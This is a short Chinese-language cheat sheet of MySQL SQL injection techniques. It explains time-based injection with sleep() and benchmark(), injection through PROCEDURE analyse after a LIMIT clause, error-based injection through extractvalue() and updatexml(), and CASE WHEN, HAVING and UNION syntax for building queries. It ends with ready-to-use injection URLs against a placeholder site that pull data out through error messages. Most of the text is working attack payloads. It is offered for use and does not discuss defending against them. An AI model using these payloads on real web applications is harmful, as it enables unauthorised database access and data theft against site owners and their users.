sleep(1) 睡多少秒
benchmark(100,md5(1)) 可用来时间注入, 表示运行md5()函数100次
procedure analyse(1)
procedure analyse(1,2)
mysql储存过程, 一个或两个参数, 可用在limit 0, 1 后面的注入点
比如:
LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
extractvalue(1,2)
两个参数, 第二个参数用来报错注入
updatexml(1,2,3)
三个参数, 第二个参数可用来注入
case when 条件 then 语句 when 条件 then 语句 else 语句 end
when可有多个, else可有可无
例子:
select user,case when 1>10 then password else 'aaaa' end from mysql.user; 多字段
select case when user='root' then '1' else '0' end from mysql.user; 一个字段
select user,(case when user='root' then '1' else '0' end)a from mysql.user; 起别名
where 与having
where跟having差不多是一样的, 有个特别的就是, where后面可以接多一个having,
例子:
select user from mysql.user where user='root' having user='root';
注意不能多个where或多个having连用, 但where后面可接having, having后不能用where
类似的还有:
union select
union distinct select
union all select
报错注入常用函数:
www.vuln-web.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(OUR QUERY HERE)))--
www.vuln-web.com/index.php?view=-35" and updatexml(null,concat(0x3a,(OUR QUERY HERE)),null)--
www.vuln-web.com/photo.php?id=1' and (select 1 from (Select count(*),Concat((<Your Query here to return single row>),0x3a,floor(rand (0) *2))y from information_schema.tables group by y) x)-- -